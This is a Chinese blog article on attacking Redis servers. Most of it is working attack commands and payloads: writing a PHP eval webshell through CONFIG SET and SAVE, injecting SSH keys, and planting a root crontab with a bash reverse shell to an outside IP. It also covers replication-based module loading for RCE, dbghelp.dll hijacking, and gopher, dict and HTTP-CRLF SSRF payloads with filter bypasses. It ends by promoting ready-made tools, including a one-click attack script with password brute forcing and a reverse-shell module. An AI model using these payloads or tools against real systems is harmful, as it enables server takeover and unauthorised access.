Redis安全之从入门到花式利用

news2025/4/21 19:03:26

0x00 安全研究思路

正常安全研究思路大致可以是这样:

  1. 正常功能,为什么这个功能会导致漏洞,怎么使用不会有漏洞,开发为什么会这么写
  2. 如何攻击,攻击会遇到什么情况什么限制如何解决如何武器化
  3. 如何防御,在什么层面防御,怎么从根本上解决问题
  4. 如何绕过,如果没有从根本上解决问题,那么大概率会存在绕过可能。

无法用于实战的安全研究毫无意义

0x01 redis是什么

Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。

redis命令不区分大小写。

redis连接命令

redis-cli -h 127.0.0.1 -p 6379

设置键值对:

set myKey abc

取出键值对:

get myKey

127.0.0.1:6379> set yulige 123123
OK
127.0.0.1:6379> get yulige
"123123"

数据格式

客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。

RESP Arrays使用以下格式发送:

一个*字符作为第一个字节,后跟数组中的元素数的数量,后跟CRLF。

数组中的每个元素都附加RESP类型。

Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串,按以下方式编码:

$+组成字符串的字节数+CRLF+实际的字符串数据+最终的CRLF。

返回客户端同样是Bulk Strings。

通过nc监听或者socat抓包的方法查看实时流量

socat -v tcp-listen:6378,fork tcp-connect:localhost:6379  

可以发现发送的数据为

*3
$3
set
$6
yulige
$6
123123

*2
$3
get
$6
yulige

获取配置

CONFIG GET *

编辑配置

你可以通过修改 redis.conf 文件或使用CONFIG set命令来修改配置。

  • port 6379 #指定 Redis 监听端口,默认端口为 6379
  • bind 127.0.0.1 #绑定的主机地址,注释掉这个配置才能开启远程访问
  • filename dump.rdb #指定本地数据库文件名,默认值为 dump.rdb
  • dir ./ #指定本地数据库存放目录
  • slaveof <masterip> <masterport> #设置当本机为 slave 服务时,设置 master 服务的 IP 地址 及端口, 在 Redis 启动时,它会自动从 master 进行数据同步。
  • requirepass foobared # 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH <password> 命令提供密码,默认关闭
  • protected-mode no # Redis3.2版本后新增 protected-mode 配置,默认是 yes,即开启,外部网络无法连接 redis 服务
  • daemonize no # Redis 默认不是以守护进程的方式运行,可以通过该配置项修改,使用 yes 启用守护进程后台运行。

修改redis.conf需要重启redis服务生效,config set则是立刻生效,且不会改变redis.conf。

认证

redis设置密码的两种方法

redis-cli连上去

config set requirepass 123456

或者修改redis.conf

sed -i 's/# requirepass foobared/requirepass foobared/g' /etc/redis/redis.conf

第二种方法设置完之后需要重启redis。

然后再用redis-cli去连的时候需要先执行AUTH命令才可以执行其他命令。

AUTH PASSWORD,其实redis-cli -a "a"的参数本质是就是AUTH命令。

根据抓包可以发现redis-cli -a的实际执行命令为:

#发送
*2
$4
AUTH
$1
a
#返回
-ERR Client sent AUTH, but no password is set
#发送
*1
$7
COMMAND
#返回
*200
*6
$7
persist
:2
*2
+write
+fast
...

https://redis.io/commands/command

command命令是返回有关所有 Redis 命令的详细信息的Array 回复。

集群客户端必须知道命令中的键位置,以便命令可以转到匹配的实例,但是 Redis 命令在接受一个键、多个键甚至多个由其他数据分隔的键之间有所不同。

可以使用COMMAND来缓存命令和每个命令的关键位置之间的映射,以便将命令准确路由到集群实例。

数据库备份

Redis SAVE 命令用于创建当前数据库的备份。保存为rdb格式的文件。

BGSAVE用于在后台异步保存当前数据库的数据到磁盘。

BGSAVE 命令执行之后立即返回 OK ,然后 Redis fork 出一个新子进程,原来的 Redis 进程(父进程)继续处理客户端请求,而子进程则负责将数据保存到磁盘,然后退出。

rdb格式如下:

root@yulige-ubuntu:/etc/redis-5.0.8# xxd dump.rdb
00000000: 5245 4449 5330 3030 39fa 0972 6564 6973  REDIS0009..redis
00000010: 2d76 6572 0535 2e30 2e38 fa0a 7265 6469  -ver.5.0.8..redi
00000020: 732d 6269 7473 c040 fa05 6374 696d 65c2  s-bits.@..ctime.
00000030: 3f5c f560 fa08 7573 6564 2d6d 656d c228  ?\.`..used-mem.(
00000040: 570d 00fa 0c61 6f66 2d70 7265 616d 626c  W....aof-preambl
00000050: 65c0 00fe 00fb 0100 0006 7975 6c69 6765  e.........yulige
00000060: c2f3 e001 00ff 7b9f e315 27c8 920e       ......{...'...

可以看到有固定的前缀,其中包含了redis版本信息等。

常见利用有其来写文件达到getshell的目的。

redis-cli -h 127.0.0.1 flushall #清空所有key  实战禁止使用!!!可以先用https://github.com/yannh/redis-dump-go备份,然后打完再恢复。
redis-cli -h 127.0.0.1 config set dir /var/www/html #设置数据库备份保存的目录
redis-cli -h 127.0.0.1 config set dbfilename shell.php #设置数据库备份保存的文件名
redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>" #将想写入的内容写进key值
redis-cli -h 127.0.0.1 save # 备份

主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

节点输入以下命令

slaveof masterhost masterport

之后发生了哪些事情呢。

> 2020/04/10 09:30:01.182183  length=14 from=0 to=13
*1\r
$4\r
PING\r
< 2020/04/10 09:30:01.182422  length=7 from=0 to=6
+PONG\r
> 2020/04/10 09:30:01.182595  length=49 from=14 to=62
*3\r
$8\r
REPLCONF\r
$14\r
listening-port\r
$4\r
6379\r
< 2020/04/10 09:30:01.182875  length=5 from=7 to=11
+OK\r
> 2020/04/10 09:30:01.183002  length=59 from=63 to=121
*5\r
$8\r
REPLCONF\r
$4\r
capa\r
$3\r
eof\r
$4\r
capa\r
$6\r
psync2\r
< 2020/04/10 09:30:01.183203  length=5 from=12 to=16
+OK\r
> 2020/04/10 09:30:01.183300  length=72 from=122 to=193
*3\r
$5\r
PSYNC\r
$40\r
c8848089bebcde2b8d5a19e751a7bc4a260c88f8\r
$4\r
1275\r
< 2020/04/10 09:30:01.183838  length=59 from=17 to=75
+FULLRESYNC da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2 1274\r
< 2020/04/10 09:30:01.280693  length=197 from=76 to=272
$191\r
REDIS0009.      redis-ver.5.0.8.
redis-bits.@..ctime..<.^.\bused-mem.P.....repl-stream-db...\arepl-id(da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2.\vrepl-offset....\faof-preamble.........{.{....{..l..]d.^> 2020/04/10 09:30:01.284087  length=1 from=194 to=194

> 2020/04/10 09:30:02.184067  length=37 from=195 to=231
*3\r
$8\r
REPLCONF\r
$3\r
ACK\r
$4\r
1274\r

转换成rediscommand是

> PING
PONG
> REPLCONF listening-port 6379
OK
> replconf capa eof capa psync2
OK
> psync c8848089bebcde2b8d5a19e751a7bc4a260c88f8 1275
+FULLRESYNC da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2 1274 +[rdb备份文件]

以上就是主从复制的全过程,可以其实本身就是一个远程数据库备份功能。

补充:

每个Redis节点(无论主从),在启动时都会自动生成一个随机ID(每次启动都不一样),由40个随机的十六进制字符组成;runid用来唯一识别一个Redis节点。通过info Server命令,可以查看节点的runid:

redis-cli info server | grep "run_id"

如果从节点之前未执行过slaveof或最近执行了slaveof no one,则从节点发送命令为psync ? -1,向主节点请求全量复制;

如果从节点之前执行了slaveof,则发送命令为psync <runid> <offset>,其中runid为上次复制的主节点的runid,offset为上次复制截止时从节点保存的复制偏移量。

加载动态链接库

Redis 4.0 加入了模块,暴露了必要的 API,并且有自动内存管理(大大减轻编写负担),基于 C99(C++ 或者其它语言的 C 绑定接口当然也可以)。

MODULE LOAD /path/to/mymodule.so # 在 redis-cli 中执行,注意这里 mymodule.so 是文件名

0x02 如何攻击

命令执行

其实本质是Redis Lua Sandbox Escape。

127.0.0.1:6379> module load /tmp/exppadding.so
OK
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"

参考 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf 和自己实验发现4以上版本通杀,redis作者也没有修的意思 ,因为

他觉得如果被登陆上redis之后的安全性没必要再加强,他没必要去把这百分之0.01的功能复杂化。

综上所述 ,redis4.0以上添加了加载动态链接库的添加扩展功能,而使用Redis Lua Sandbox Escape的exp可以执行命令,自定义了system.exec函数来完成rce,并且将结果回显。

redis-cli写webshell

redis3.2版本后新增 protected-mode 配置,默认是 yes,即开启,外部网络无法连接 redis 服务

我ubuntu本地安装的3.0.8,默认有bind 127.0.0.1的配置,禁止非本地ip连接。

找一个能写的目录,利用数据库备份功能getshell。

127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<?php @eval($_POST[1]);?>"
OK
127.0.0.1:6379> save

看一下shell.php的内容

REDIS0006webshell<?php @eval($_POST[1]);?>▒▒I▒s▒.;▒

redis-cli写sshkey

这里注意一下为了避免前面的垃圾数据影响sshkey正常解析使用,pubkey的前后可以加几个 \n隔断。

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

redis-cli写crontab

192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

主从复制rce

因为redis采用的resp协议的验证非常简洁,所以可以采用python模拟一个redis服务的交互,并且将备份的rdb数据库备份文件内容替换为恶意的so文件,然后就会自动在节点redis中生成exp.so,再用module load命令加载so文件即可完成rce。

主从复制的利用场景在于节点服务可以访问主节点,因为只要主节点可以返回包就行了,复制数据库是从返回的包里面去获取的。所以只要可以tcp访问外网就行了。

0x03 攻击面扩展

无损任意文件写

如果启动redis的用户权限够的话是可以写任意文件的。利用主从复制功能的话可以写任意的无损文件。

结合文件上传rce

同理,在主从复制rce这个过程中,如果是两个正常的redis服务之间建立联系,仅仅是相当于的数据库备份的复制,而在主节点加载的module是不会到节点去的。

在不出网的情况下没法使用主从复制写入so,所以在上传so这条路上可以凭借于web应用的上传或是其他的写文件方法,经过测试,只需要有读权限即可,而www-data默认写入的文件权限是644,所以实战中完全可以结合上传来完成攻击

然后写crontab、sshkey、webshell这些getshell的操作都和权限有关,而dll挟持则不然。

在执行bgsave和BGREWRITEAOF的时候会自动加载一个redis安装目录的dbghelp.dll文件,这个文件默认是不存在的。

所以可以写redis安装目录的dbghelp.dll文件来达到dll挟持的效果,获取到的权限是启动redis服务的权限。

这种攻击场景可以在redis版本小于4的时候使用。大于4的时候优先使用加载恶意模块rce。

ssrf写webshell

因为gopher可以构造任意tcp请求包,这里写了一个脚本用于便捷生成gopher请求,和redis-command差不多。

dict协议写webshell

如果是dict呢。

curl -g  'dict://0.0.0.0:6379/set webshell "<?php @eval($_POST[1]);?>"'

收到的却是以下内容。是?这里截断掉了。

CLIENT libcurl 7.47.0
set webshell '<
QUIT

url编码看看,收到的却是

CLIENT libcurl 7.47.0
set%20webshell%20%22%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%3F%3E%22
QUIT

看来并不能url编码。

网上查了一下资料并结合自己测试,

?之后的内容都没法获取到。那么如何去绕过呢。

转义绕过?截断

dvpwriteup曾经在一个ctf中出现过用转义编码去绕过的

写入恶意代码:(<? 等特殊符号需要转义,不然问号后面会导致截断无法写入)
dict://0:6379/set:shell:"\x3C\x3Fphp\x20echo $_GET[x]\x3B\x3F\x3E"

先直接拿上面这个的payload做测试:

CLIENT libcurl 7.47.0
set shell "\x3C\x3Fphp\x20echo`$_GET[x]`\x3B\x3F\x3E"
QUIT

cli连上去看看。

127.0.0.1:6379> get shell
"<?php echo`$_GET[x]`;?>"

成功写入。此时测试版本为3.0.6换了一下5.0.8同样写入成功。

写入文件之后也同样是正常的webshell。

主从复制绕过?截断

截断的时候可以使用主从复制的方法将key值从主节点复制过来。然后节点再执行备份数据库操作写入webshell。

主节点

127.0.0.1:4444> set shell "<?php @eval($_POST[1]);?>"
OK

节点

dict://0:6379/slaveof:127.0.0.1:4444
dict://0:6379/config:set:dir:/var/www/html
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one

查看一下文件是成功写入shell了。

当然了如果可以出外网也可以直接主从复制rce,这一点在前面就说过了。只要用python起一个服务去模拟redis的返回,并且在全量复制的时候把数据库文件替换成so文件即可。

bitop命令绕过?截断

前段时间[zer0pts CTF 2020] urlapp出了一道考bitop命令的题。

可以将key做位运算操作并存储在新的key中。

而在一次“SSRF-->RCE”的艰难利用中,就是用bitop去绕过的\x00

dict://0:6379/set:shell:"\xc3\xc0\x8f\x97\x8f\xdf\xbf\x9a\x89\x9e\x93\xd7\xdb\xa0\xaf\xb0\xac\xab\xa4\xce\xa2\xd6\xc4\xc0\xc1"
dict://0:6379/bitop:not:shell:shell
127.0.0.1:6379> get shell
"<?php @eval($_POST[1]);?>"

而在一次“SSRF-->RCE”的艰难利用中有提到可以用bitfield,这个的话和bitop,bitos是一个系列的command,https://blog.csdn.net/qq_34206560/article/details/90722401,bitfield命令可以将一个redis字符串看做是一个由二进制位组成的数组,并对这个数组中储存的长度

不同的整数进行访问(被储存的整数无需对齐)。和bitop相比使用复杂很多,这里不再复现。

setbit命令绕过?截断

既然想明白关键是?截断的话其实方法也很多,能操作key就可以。这里举出一个command setbit.

https://www.runoob.com/redis/strings-setbit.html

Redis Setbit 命令用于对 key 所储存的字符串值,设置或清除指定偏移量上的位(bit)。

?的ascii是63,ascii62是>,二进制分别是0b000111110b00011110。所以按照前面的payload稍微改一下就是.使用setbit改动一位二进制即可把字符变成?,从而可写入webshell。

127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK

ssrf打redis进阶篇

redis服务端有一个特性,叫支持管道传输。

在官方文档中提到Redis是Request-Response model.

A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..

大致意思是说Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回显。所有的回显都可以在最后统一输出。

可以测试一下:

同时执行 "auth 123123"、"get yulige"和"quit"三条命令。

curl gopher://0.0.0.0:6379/_%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0d%0A%2a2%0d%0A%243%0d%0Aget%0d%0A%246%0d%0Ayulige%0d%0A%2a1%0D%0A%244%0D%0Aquit%0D%0A
+OK
$6
123123
+OK

可以看到有两个OK和一个Bulk Strings的回复。

socat抓包是

> 2021/07/22 18:22:26.606901  length=67 from=0 to=66
*2\r
$4\r
AUTH\r
$6\r
123123\r
*2\r
$3\r
get\r
$6\r
yulige\r
*1\r
$4\r
quit\r
\r
< 2021/07/22 18:22:26.607375  length=22 from=0 to=21
+OK\r
$6\r
123123\r
+OK\r

所以在ssrf的时候只要在前面加上添加%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A,即可。

客户端连接上之后会长连接不退出,所以可以再加上quit命令退出客户端连接。%2A1%0D%0A%244%0D%0Aquit%0D%0A

dict协议和gopher协议攻击redis

gopher可以,dict也可以。

做一下对比:直连上redis执行set 1 123

> 2020/04/10 14:15:14.919897  length=29 from=62 to=90
*3\r
$3\r
set\r
$1\r
1\r
$3\r
123\r
< 2020/04/10 14:15:14.920096  length=5 from=19 to=23
+OK\r

什么是gopher协议。它是互联网上使用的分布型的文件搜集获取网络协议。gopher支持多行。因此要在传输的数据前家一个无用字符。比如gopher://ip:port/_ 通常用_,并不是只能用_,gopher协议会将第一个字符"吃掉"。

gopher协议的话直接就当socket包发就行,注意一下redis是RESP协议的规则,上面说了。

resp协议规则 https://www.anquanke.com/post/id/181599

客户端将命令发送到Redis服务器的流程为

客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。

Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。

Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串,按以下方式编码:

一个$字节后跟组成字符串的字节数(一个前缀长度),由CRLF终止。

实际的字符串数据。

最终的CRLF。

yulige@yulige-ubuntu:~$ curl "gopher://0.0.0.0:4444/_*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%243%0d%0A123"
+OK
> 2020/04/10 14:16:55.477293  length=29 from=0 to=28
*3\r
$3\r
set\r
$1\r
1\r
$3\r
123\r
< 2020/04/10 14:16:55.477561  length=5 from=0 to=4
+OK\r

get key也可以正常获取到字符串123,完全一致。

dict协议的话之前了解的不多,只知道可以用来探测端口信息curl dict://localhost:22/info,网上搜了一下大概是这么描述的dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾 自动补上rn(CRLF)结果测试其实还会发送一个QUIT。

为了进一步理解dict协议,我翻了一下rfc文档,学习到很多之前不知道的知识。。

Command lines must be complete with all required parameters, and may not contain more than one command.

说明了 禁止多行命令。尝试了一下也没法crlf绕过去,他是把一整个command字符串化了,没法逃逸出来。

测试

yulige@yulige-ubuntu:~$ curl "dict://0.0.0.0:6379/auth yuligesec\r\ninfo"
-NOAUTH Authentication required.
-ERR invalid password
+OK

收到的

CLIENT libcurl 7.63.0
auth yuligesec\r\ninfo
QUIT

正因如此,dict协议没法攻击需要认证的redis。

使用dict协议需要用:来作为分隔.经过测试也可以不加,直接空格即可。rfc里面也是这么写的。

yulige@yulige-ubuntu:~$ curl "dict://0.0.0.0:4444/set:1:123"
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
+OK
+OK

可以看到居然返回了2个ok,说明发送了两条命令。

> 2020/04/10 14:23:28.776420  length=40 from=0 to=39
CLIENT libcurl 7.63.0\r
set 1 123\r
QUIT\r
< 2020/04/10 14:23:28.777950  length=99 from=0 to=98
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)\r
+OK\r
+OK\r

可以看到其实发送了3行命令,而且并不是RESP协议格式的。第一行应该是代表发出的cli的工具和版本,rfc是这么写的

This command allows the client to provide information about itself for possible logging and statistical purposes.  All clients SHOULD send this command after connecting to the server.  All DICT servers MUST implement this command (note, though, that the server doesn't have to do anything with the information provided by the client).

这条命令是客户端提供有关其自身的信息,以便进行可能的日志记录和统计。连接到服务器后,所有客户端都应发送此命令。根据这里可以发现CLIENT命令貌似是必不可少的。

而第二行是

cli中执行的命令,第三行是dict协议带上的QUIT。

用php中的curl看看是什么包。

<?php
   $ch = curl_init(); 
   curl_setopt($ch, CURLOPT_URL, "dict://192.168.248.128:4444/set:1:123"); 
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
   $output = curl_exec($ch); 
   echo $output;
   curl_close($ch);   

结果是

CLIENT libcurl 7.56.0
set 1 123
QUIT

和命令行的curl完全一样。

突然想到如果用gopher发出这个包会如何。先测试

yulige@yulige-ubuntu:~$ curl "gopher://0.0.0.0:6379/_CLIENT%20libcurl%207.63.0%0D%0Aauth%20yuligesec%0A%0Dinfo%0D%0AQUIT"

正常返回info信息。

而如果把CLIENT去掉呢?

yulige@yulige-ubuntu:~$ curl "gopher://0.0.0.0:6379/_auth%20yuligesec%0A%0Dinfo%0D%0AQUIT"

依然正常返回。也就是说确实直接给redis服务器发command也是可以的。此时测试版本为3.0.6换了一下5.0.8也是没问题的。

http或其他协议攻击redis

既然直接发command也是可以的,那岂不是在http协议中的请求包里面包含command也可以呢。

《【Blackhat】SSRF的新纪元:在编程语言中利用URL解析器》 中orange有提到利用http协议中的crlf来发送rediscommand的案例。

然后自己试着构造了一个http请求包然后用nc发送,

用curl

yulige@yulige-ubuntu:~$ curl -v "http://0.0.0.0:6378/"
*   Trying 0.0.0.0...
* TCP_NODELAY set
* Connected to 0.0.0.0 (127.0.0.1) port 6378 (#0)
> GET / HTTP/1.1
> Host: 0.0.0.0:6378
> User-Agent: curl/7.63.0
> Accept: */*
>
-ERR wrong number of arguments for 'get' command
* Closing connection 0

---------------------------------------------
> 2020/05/24 11:16:59.054108  length=76 from=0 to=75
GET / HTTP/1.1\r
Host: 0.0.0.0:6378\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
< 2020/05/24 11:16:59.054534  length=50 from=0 to=49
-ERR wrong number of arguments for 'get' command\r

用nc

yulige@yulige-ubuntu:~$ nc 127.0.0.1 6378 < httprequest
yulige@yulige-ubuntu:~$

------------------------------------------------
> 2021/07/26 14:47:05.298734  length=76 from=0 to=75
GET / HTTP/1.1\r
Host: 0.0.0.0:6378\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
< 2021/07/26 14:47:05.299317  length=50 from=0 to=49
-ERR wrong number of arguments for 'get' command\r

然后再用nc发送成功一次数据包看看

yulige@yulige-ubuntu:~$ cat httprequest
GET / HTTP/1.1
set 133 123
Host: 127.0.0.1:6378
User-Agent: curl/7.63.0
Accept: */*

------------------------------------------------
> 2020/05/24 11:44:54.783301  length=91 from=0 to=90
GET / HTTP/1.1\r
set 133 123\r
Host: 127.0.0.1:6378\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
< 2020/05/24 11:44:54.783573  length=50 from=0 to=49
-ERR wrong number of arguments for 'get' command\r

然后redis看123这个键是否存在,发现确实存在。

但是有一点需要注意,必须在header中的Host字段之前进行注入,也就是说实际场景只能在url处进行crlf注入。当然了如果可以抹去Host字段那注入在任何地方都可以进行,甚至可以是body。因为redis后端为了避免http请求而出现大量错误,以Host:开头的数据之后都不予以处理和回复。

yulige@yulige-ubuntu:~$ nc 0.0.0.0 6379 < /tmp/test
-ERR wrong number of arguments for 'get' command
-ERR unknown command `Hos:`, with args beginning with: `0.0.0.0:6378`,
+OK
-ERR unknown command `User-Agent:`, with args beginning with: `curl/7.63.0`,
-ERR unknown command `Accept:`, with args beginning with: `*/*`,
yulige@yulige-ubuntu:~$ cat /tmp/test
GET / HTTP/1.1
Hos: 0.0.0.0:6378
set 123 1234
User-Agent: curl/7.63.0
Accept: */*

然后尝试使用一个存在crlf的发送http请求的python模块来测试吧。

推荐一个跑fuzz的项目

https://github.com/orangetw/Tiny-URL-Fuzzer

参考:https://blog.csdn.net/qq_40989258/article/details/104735997

import urllib2
url = "http://127.0.0.1:6378?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123:6378/test/?test=a"
htmlpage = urllib2.urlopen(url).read()
print htmlpage

抓包

> 2020/05/24 11:59:47.666102  length=181 from=0 to=180
GET /?a=1 HTTP/1.1\r
CRLF-injection: test\r
TEST: 123:6378/test/?test=a HTTP/1.1\r
Accept-Encoding: identity\r
Host: 127.0.0.1:6378\r
Connection: close\r
User-Agent: Python-urllib/2.7\r
\r
< 2020/05/24 11:59:47.668209  length=161 from=0 to=160
-ERR wrong number of arguments for 'get' command\r
-ERR unknown command 'CRLF-injection:'\r
-ERR unknown command 'TEST:'\r
-ERR unknown command 'Accept-Encoding:'\r

效果还不错,测试写入一个key试试。

yulige@yulige-ubuntu:~$ cat testrediscrlf.py
import urllib2
url = "http://127.0.0.1:6378?a=1 HTTP/1.1\r\nset 1234 123\r\ntest: 123"
htmlpage = urllib2.urlopen(url).read()
print htmlpage
----------------------------------
> 2020/05/24 12:27:42.221136  length=155 from=0 to=154
GET /?a=1 HTTP/1.1\r
set 1234 123\r
test: 123 HTTP/1.1\r
Accept-Encoding: identity\r
Host: 127.0.0.1:6378\r
Connection: close\r
User-Agent: Python-urllib/2.7\r
\r
< 2020/05/24 12:27:42.232387  length=126 from=0 to=125
-ERR wrong number of arguments for 'get' command\r
+OK\r
-ERR unknown command 'test:'\r
-ERR unknown command 'Accept-Encoding:'\r
----------------------------
127.0.0.1:6379> keys *
1) "1234"
127.0.0.1:6379> get 1234
"123"

确实是可以的,从分析dict协议攻击redis中获得的思路,一行command就能发送过去,不需要转换为resp格式。

所以如果限制了协议类型为http或者其他的ssrf,依然可以用这个思路去攻击redis。只需要一个crlf即可。

0x04 武器化和漏洞环境

https://gitlab.in.starcross.cn/yulige/redis-sec

RedisModules-ExecuteCommand For Linux

可在Linux下执行系统命令的Redis模块。

已经有编译好了的模块exp.so,你也可以自行修改、编译。

cd ./src
make

在redis中使用module load /path/xx.so来加载模块

system模块自定义两个函数,exec函数命令执行回显,rev函数反弹shell。

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999

RedisModules ExecuteCommand for Windows

可在Windows下执行系统命令的Redis模块。

该模块有一个命令e,可以执行系统命令。

在redis-cli命令行下,执行如下命令:

127.0.0.1:6379> module unload exp
OK
127.0.0.1:6379> module load "C:/Program Files/Redis/exp.dll"
OK
127.0.0.1:6379> exp.e whoami
"{ nt auth ority\\n etwork  service \n }"
127.0.0.1:6379>

DBGHELP

用于生成redisdll挟持的dbghelp.dll直接上线cs。

代码来自杰哥,不免杀,仅仅作为例子参考,要使用请修改dllmain.cpp。

Redis-ssrf

用于生成攻击redis的gopher请求小工具。

python3 gopher_redis.py [-r RHOST] [-p RPORT] [-a AUTH]
Example: 
    python gopher_redis.py -r 172.16.20.3 -p 6379 -a 123123

可以递归输入redis command直到输入exit时生成最后的gopher请求。

脚本默认自动插入auth和quit字段,只需要填写你需要执行的redis command即可。

在没有设置密码的情况下输入密码没有任何影响。

Redis-Replication

基于主从复制攻击redis的集成一键化脚本。

特点

  • 简单便捷,可以使用主从复制即可rce。对于4以上的redis可以用加载恶意模块的方法攻击,4以下的windows可以使用挟持dbghelp.dll的方法攻击。
  • 自动备份,攻击前备份攻击后恢复,避免一键坐牢。

使用

注意:指定的winfile等参数直接就是主从复制写入文件的文件名。

usage: python redis-attack.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-wf WINFILE] [-lf LINUXFILE] [-a AUTH] [--brute] [-v]
Example: 
    python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 --brute
    python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 -P 80 -b mypwd.txt -i

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        target host
  -p RPORT, --rport RPORT
                        target redis port, default 6379
  -L LHOST, --lhost LHOST
                        rogue server ip
  -P LPORT, --lport LPORT
                        rogue server listen port, default 16379
  -wf WINFILE, --winfile WINFILE
                        Dll Used to hijack redis, default dbghelp.dll
  -wf2 WINFILE2, --winfile2 WINFILE2
                        RedisModules(win) to load, default exp.dll
  -lf LINUXFILE, --linuxfile LINUXFILE
                        RedisModules(linux) to load, default exp.so
  -a AUTH, --auth AUTH  redis password
  -b [BRUTE], --brute [BRUTE]
                        If redis needs to verify the password, perform a brute force attack. Dict default pwd.txt
  -i, --idontcare       don't care about the data on the target redis
  -v, --verbose         show more info

Docker

redis_vuln

docker-compose up -d启动一个root运行的无密码redis服务,并开启ssh。

用于复现写sshkey,crontab等漏洞。

redis_web

docker-compose up -d运行一道CTF题目,用于复现ssrf攻击认证redis服务,redis结合文件上传rce,ssrf主从复制rce等漏洞。

建议启动时不看部署环境做题,这样更能吸收体会思考漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1136875.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

uniapp开发小程序—picker结合后台数据实现二级联动的选择

一、效果图 二、完整代码 <template><view><picker mode"multiSelector" change"bindMultiPickerChange" columnchange"bindMultiPickerColumnChange":value"multiIndex" :range"multiArray"><view c…

做外贸为何离不开WhatsApp?一文解封、养号、引流、促单全攻略!

WhatsApp在国际贸易中的地位无法忽视。它是一种即时通讯工具&#xff0c;也是外贸从业者的得力助手。但同时&#xff0c;使用WhatsApp也伴随着一些问题&#xff0c;如账号被封、如何养号、引流和促单。这篇文章将为你详细解答这些问题&#xff0c;让你更好地利用WhatsApp&#…

个人企业项目招投标小程序开发

项目招投标小程序开发 针对个人企业招投标开发的小程序。 程序基本能力&#xff1a;用户缴纳保证发布招标信息&#xff0c;然后商家进行认证成功后可以对招标发起投标&#xff0c;投标过程也需要缴纳保证金&#xff0c;招标结束或者下架保证金将全部退回到用户账号里面。 招…

生物芯片技术-原理、应用与未来发展

生物芯片技术-原理、应用与未来发展 一、引言 随着科技的不断发展&#xff0c;生物芯片技术已成为生物医药领域的重要支柱。这种技术运用微电子和微机械工艺&#xff0c;将生物分子、细胞、组织等生命活性物质固定在硅片、玻璃片、塑料片等固相基质上&#xff0c;实现生物信息…

filebeat7.10上传日志到ES7.14

